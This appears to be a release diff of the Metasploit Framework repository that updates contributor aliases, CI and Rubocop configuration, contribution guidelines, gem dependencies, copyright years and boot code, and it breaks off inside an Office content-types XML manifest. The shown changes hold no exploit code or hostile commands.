bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
@@ -57,37 +75,52 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
joevennix <joevennix@github> joe <joev@metasploit.com>
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
joevennix <joevennix@github> joev <joev@metasploit.com>
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
ohdae <ohdae@github> ohdae <bindshell@live.com>
OJ <oj@github> OJ Reeves <oj@buffered.io>
OJ <oj@github> OJ <oj@buffered.io>
oj <oj@github> OJ <oj@buffered.io>
oj <oj@github> OJ Reeves <oj@buffered.io>
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
timwr <timwr@github> Tim <timrlw@gmail.com>
timwr <timwr@github> Tim Wright <timrlw@gmail.com>
TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
# Aliases for utility author names. Since they're fake, typos abound
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
+8 -3
View File
@@ -8,7 +8,7 @@
# inherit_from: .rubocop_todo.yml
Style/ClassLength:
Metrics/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
@@ -25,14 +25,14 @@ Style/Encoding:
Description: 'We prefer binary to UTF-8.'
EnforcedStyle: 'when_needed'
Style/LineLength:
Metrics/LineLength:
Description: >-
Metasploit modules often pattern match against very
long strings when identifying targets.
Enabled: true
Max: 180
Style/MethodLength:
Metrics/MethodLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
@@ -44,6 +44,11 @@ Style/MethodLength:
Style/Encoding:
Enabled: false
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/UnneededPercentQ:
Enabled: false
Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
+1 -1
View File
@@ -1 +1 @@
1.9.3-p550
2.1.5
+25 -15
View File
@@ -1,29 +1,30 @@
bundler_args: --without coverage development pcap
cache: bundler
env:
- RAKE_TASK=cucumber
- RAKE_TASK=cucumber:boot
- RAKE_TASK=spec SPEC_OPTS="--tag content"
- RAKE_TASK=spec SPEC_OPTS="--tag ~content"
- RAKE_TASKS="cucumber cucumber:boot"
- RAKE_TASKS=spec SPEC_OPTS="--tag content"
- RAKE_TASKS=spec SPEC_OPTS="--tag ~content"
language: ruby
matrix:
fast_finish: true
before_install:
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
- rake --version
- sudo apt-get update -qq
- sudo apt-get install -qq libpcap-dev
# Uncomment when we have fewer shipping msftidy warnings.
# Merge committers will still be checking, just not autofailing.
# See https://dev.metasploit.com/redmine/issues/8498
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
# - ls -la ./.git/hooks
# - ./.git/hooks/post-merge
# Fail build if msftidy is not successful
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
- ls -la ./.git/hooks
- ./.git/hooks/post-merge
before_script:
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version
- bundle exec rake db:create
- bundle exec rake db:migrate
script: "bundle exec rake $RAKE_TASK"
script:
# fail build if db/schema.rb update is not committed
- git diff --exit-code && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '1.9.3'
- '2.1'
notifications:
@@ -31,3 +32,12 @@ notifications:
git:
depth: 5
# Blacklist certain branches from triggering travis builds
branches:
except:
- gh-pages
- metakitty
addons:
postgresql: '9.3'
+57 -30
View File
@@ -3,84 +3,111 @@
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? Sorry to hear it.
Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues).
Please try to be as specific as you can about your problem, include steps
to reproduce (cut and paste from your console output if it's helpful), and
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem; include steps
to reproduce (cut and paste from your console output if it's helpful) and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
How ironic! Please take a look at Rapid7's [Vulnerability
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D).
your report to security@rapid7.com using our [PGP key].
Are you about to contribute some new functionality, a bug fix, or a new
Metasploit module? If so, read on...
# Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
What you see here in CONTRIBUTING.md is a bullet point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
If you care not to follow these rules, your contribution **will** be
closed (*Road House* style). Sorry!
closed. Sorry!
This is intended to be a **short** list. The
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
look at the standard [development environment setup] guide
and Metasploit's [Common Coding Mistakes].
## Code Contributions
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
* **Do** stick to the [Ruby style guide].
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Don't** use the default merge messages when merging from other branches.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
### Pull Requests
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Scripts
* **Don't** submit new [scripts]. Scripts are shipped as examples for
automating local tasks, and anything "serious" can be done with post
modules and local exploits.
#### Library Code
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs] - it's like the style guide for specs.
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
#### Bug Fixes
* **Do** include reproduction steps in the form of verification steps.
* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description.
* **Do** include a link to any corresponding [Issues] in the format of
`See #1234` in your commit description.
## Bug Reports
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** file duplicate reports; search for your bug before filing a new report.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
mailing list.
source contributors over on the [Freenode IRC channel],
or e-mail us at the [metasploit-hackers] mailing list.
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!
[Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
[Rubocop]:https://rubygems.org/search?query=rubocop
[50.72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (C) 2006-2014, Rapid7, Inc.
Copyright (C) 2006-2015, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
+11 -17
View File
@@ -1,18 +1,18 @@
source 'https://rubygems.org'
# Add default group gems to `metasploit-framework.gemspec`:
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec
gemspec name: 'metasploit-framework'
# separate from test as simplecov is not run on travis-ci
group :coverage do
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
end
group :db do
# Needed for Msf::DbManager
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
# Metasploit::Credential database models
gem 'metasploit-credential', '~> 0.12.0'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.21.1'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
gemspec name: 'metasploit-framework-db'
end
group :development do
@@ -43,9 +43,7 @@ group :development, :test do
end
group :pcap do
gem 'network_interface', '~> 0.0.1'
# For sniffer and raw socket modules
gem 'pcaprub'
gemspec name: 'metasploit-framework-pcap'
end
group :test do
@@ -54,10 +52,6 @@ group :test do
# cucumber + automatic database cleaning with database_cleaner
gem 'cucumber-rails', :require => false
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'
end
+71 -65
View File
@@ -1,35 +1,45 @@
PATH
remote: .
specs:
metasploit-framework (4.10.1.pre.dev)
actionpack (< 4.0.0)
activesupport (>= 3.0.0, < 4.0.0)
metasploit-framework (4.11.0.pre.dev)
actionpack (>= 3.2.21, < 4.0.0)
activesupport (>= 3.2.21, < 4.0.0)
bcrypt
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
meterpreter_bins (= 0.0.10)
metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.22)
msgpack
nokogiri
packetfu (= 1.1.9)
railties
rb-readline
rb-readline-r7
recog (~> 1.0)
robots
rubyzip (~> 1.1)
sqlite3
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (= 0.14.5)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (= 0.24.0)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
network_interface (~> 0.0.1)
pcaprub
GEM
remote: https://rubygems.org/
specs:
actionmailer (3.2.19)
actionpack (= 3.2.19)
actionmailer (3.2.21)
actionpack (= 3.2.21)
mail (~> 2.5.4)
actionpack (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
actionpack (3.2.21)
activemodel (= 3.2.21)
activesupport (= 3.2.21)
builder (~> 3.0.0)
erubis (~> 2.7.0)
journey (~> 1.0.4)
@@ -37,28 +47,28 @@ GEM
rack-cache (~> 1.2)
rack-test (~> 0.6.1)
sprockets (~> 2.2.1)
activemodel (3.2.19)
activesupport (= 3.2.19)
activemodel (3.2.21)
activesupport (= 3.2.21)
builder (~> 3.0.0)
activerecord (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
activerecord (3.2.21)
activemodel (= 3.2.21)
activesupport (= 3.2.21)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activeresource (3.2.19)
activemodel (= 3.2.19)
activesupport (= 3.2.19)
activesupport (3.2.19)
activeresource (3.2.21)
activemodel (= 3.2.21)
activesupport (= 3.2.21)
activesupport (3.2.21)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.3)
arel-helpers (2.0.1)
arel-helpers (2.1.0)
activerecord (>= 3.1.0, < 5)
aruba (0.6.1)
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt (3.1.9)
bcrypt (3.1.10)
builder (3.0.4)
capybara (2.4.1)
mime-types (>= 1.16)
@@ -91,49 +101,49 @@ GEM
gherkin (2.11.6)
json (>= 1.7.6)
hike (1.2.3)
i18n (0.6.11)
i18n (0.7.0)
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
json (1.8.1)
json (1.8.2)
mail (2.5.4)
mime-types (~> 1.16)
treetop (~> 1.4.8)
metasploit-concern (0.3.0)
metasploit-concern (0.4.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.12.0)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.21.0)
metasploit-credential (0.14.5)
metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0)
metasploit_data_models (= 0.24.0)
pg
railties (< 4.0.0)
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.28.0)
metasploit-model (0.29.2)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.21.1)
metasploit_data_models (0.24.0)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0)
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.10)
meterpreter_bins (0.0.22)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.0)
msgpack (0.5.9)
mini_portile (0.6.2)
msgpack (0.5.11)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.6.3.1)
mini_portile (= 0.6.0)
nokogiri (1.6.6.2)
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.17.1)
pg (0.18.1)
polyglot (0.3.5)
pry (0.10.0)
coderay (~> 1.1.0)
@@ -144,28 +154,28 @@ GEM
rack (>= 0.4)
rack-ssl (1.3.4)
rack
rack-test (0.6.2)
rack-test (0.6.3)
rack (>= 1.0)
rails (3.2.19)
actionmailer (= 3.2.19)
actionpack (= 3.2.19)
activerecord (= 3.2.19)
activeresource (= 3.2.19)
activesupport (= 3.2.19)
rails (3.2.21)
actionmailer (= 3.2.21)
actionpack (= 3.2.21)
activerecord (= 3.2.21)
activeresource (= 3.2.21)
activesupport (= 3.2.21)
bundler (~> 1.0)
railties (= 3.2.19)
railties (3.2.19)
actionpack (= 3.2.19)
activesupport (= 3.2.19)
railties (= 3.2.21)
railties (3.2.21)
actionpack (= 3.2.21)
activesupport (= 3.2.21)
rack-ssl (~> 1.3.2)
rake (>= 0.8.7)
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.3.2)
rb-readline (0.5.1)
rake (10.4.2)
rb-readline-r7 (0.5.2.0)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.0)
recog (1.0.27)
nokogiri
redcarpet (3.1.2)
rkelly-remix (0.0.6)
@@ -189,27 +199,27 @@ GEM
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rubyntlm (0.4.0)
rubyzip (1.1.6)
rubyntlm (0.5.0)
rubyzip (1.1.7)
shoulda-matchers (2.6.2)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
slop (3.6.0)
sprockets (2.2.2)
sprockets (2.2.3)
hike (~> 1.2)
multi_json (~> 1.0)
rack (~> 1.0)
tilt (~> 1.1, != 1.3.0)
sqlite3 (1.3.9)
sqlite3 (1.3.10)
thor (0.19.1)
tilt (1.4.1)
timecop (0.7.1)
treetop (1.4.15)
polyglot
polyglot (>= 0.3.1)
tzinfo (0.3.41)
tzinfo (0.3.43)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.8.7.4)
@@ -218,18 +228,14 @@ PLATFORMS
ruby
DEPENDENCIES
activerecord (>= 3.0.0, < 4.0.0)
aruba
cucumber-rails
factory_girl (>= 4.1.0)
factory_girl_rails
fivemat (= 1.2.1)
metasploit-credential (~> 0.12.0)
metasploit-framework!
metasploit_data_models (~> 0.21.1)
network_interface (~> 0.0.1)
pcaprub
pg (>= 0.11)
metasploit-framework-db!
metasploit-framework-pcap!
pry
rake (>= 10.0.0)
redcarpet
+1 -5
View File
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2014, Rapid7, Inc.
Copyright: 2006-2015, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided
@@ -32,10 +32,6 @@ Copyright: 2003-2010 Mark Borgerding
2009-2012 H D Moore <hdm[at]rapid7.com>
License: BSD-3-clause
Files: external/ruby-lorcon/*
Copyright: 2005, dragorn and Joshua Wright
License: LGPL-2.1
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3
+17 -23
View File
@@ -1,32 +1,27 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
The latest version of this software is available from http://metasploit.com/
The latest version of this software is available from: https://metasploit.com
Bug tracking and development information can be found at:
https://dev.metasploit.com/redmine/projects/framework/
The public GitHub source repository can be found at:
https://github.com/rapid7/metasploit-framework
New bugs and feature requests should be directed to:
http://r-7.co/MSF-BUGv1
API documentation for writing modules can be found at:
https://rapid7.github.io/metasploit-framework/api
Questions and suggestions can be sent to:
msfdev(at)metasploit.com
The framework mailing list is the place to discuss features and ask for help.
To subscribe, visit the following web page:
https://mail.metasploit.com/mailman/listinfo/framework
The mailing list archives are available from:
https://mail.metasploit.com/pipermail/framework/
https://lists.sourceforge.net/lists/listinfo/metasploit-hackers
Installing
--
Generally, you should use [the free installer](https://www.metasploit.com/download)
which contains all dependencies and will get you up and running with a
Generally, you should use [the free installer](https://www.metasploit.com/download),
which contains all of the dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own.
@@ -34,20 +29,19 @@ Using Metasploit
--
Metasploit can do all sorts of things. The first thing you'll want to do
is start `msfconsole`, but after that, you'll probably be best served by
reading some of the great tutorials online:
* [Metasploit Unleashed][unleashed]
* [The official Metasploit wiki on Github][wiki-start]
reading [Metasploit Unleashed][unleashed], the [great community
resources](https://metasploit.github.io), or the [wiki].
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the
See the [Dev Environment Setup][wiki-devenv] guide on GitHub, which will
walk you through the whole process from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request. For slightly more info, see
pull request. For slightly more information, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
[wiki]: https://github.com/rapid7/metasploit-framework/wiki
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup"
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
+2
View File
@@ -10,4 +10,6 @@ require 'metasploit/framework/spec/untested_payloads'
Metasploit::Framework::Require.optionally_active_record_railtie
Metasploit::Framework::Application.load_tasks
Metasploit::Framework::Spec::Constants.define_task
Metasploit::Framework::Spec::Threads::Suite.define_task
Metasploit::Framework::Spec::UntestedPayloads.define_task
+2
View File
@@ -9,6 +9,7 @@ all_environments = [
Bundler.require(
*Rails.groups(
coverage: [:test],
db: all_environments,
pcap: all_environments
)
@@ -33,6 +34,7 @@ module Metasploit
class Application < Rails::Application
include Metasploit::Framework::CommonEngine
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
end
end
+2 -4
View File
@@ -23,15 +23,13 @@ unless ENV['BUNDLE_GEMFILE']
end
begin
require 'bundler'
require 'bundler/setup'
rescue LoadError
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
$stderr.puts " $ gem install bundler"
exit(0)
exit(1)
end
Bundler.setup
lib_path = root.join('lib').to_path
unless $LOAD_PATH.include? lib_path
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Default Extension="wmf" ContentType="image/x-wmf"/><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Default Extension="vml" ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing"/><Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml"/><Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/><Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/><Override PartName="/ppt/presProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presProps+xml"/><Override PartName="/ppt/viewProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.viewProps+xml"/><Override PartName="/ppt/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/ppt/tableStyles.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.tableStyles+xml"/><Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout2.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout3.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout4.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout5.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout6.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout7.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout8.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout9.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout10.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout11.xml" 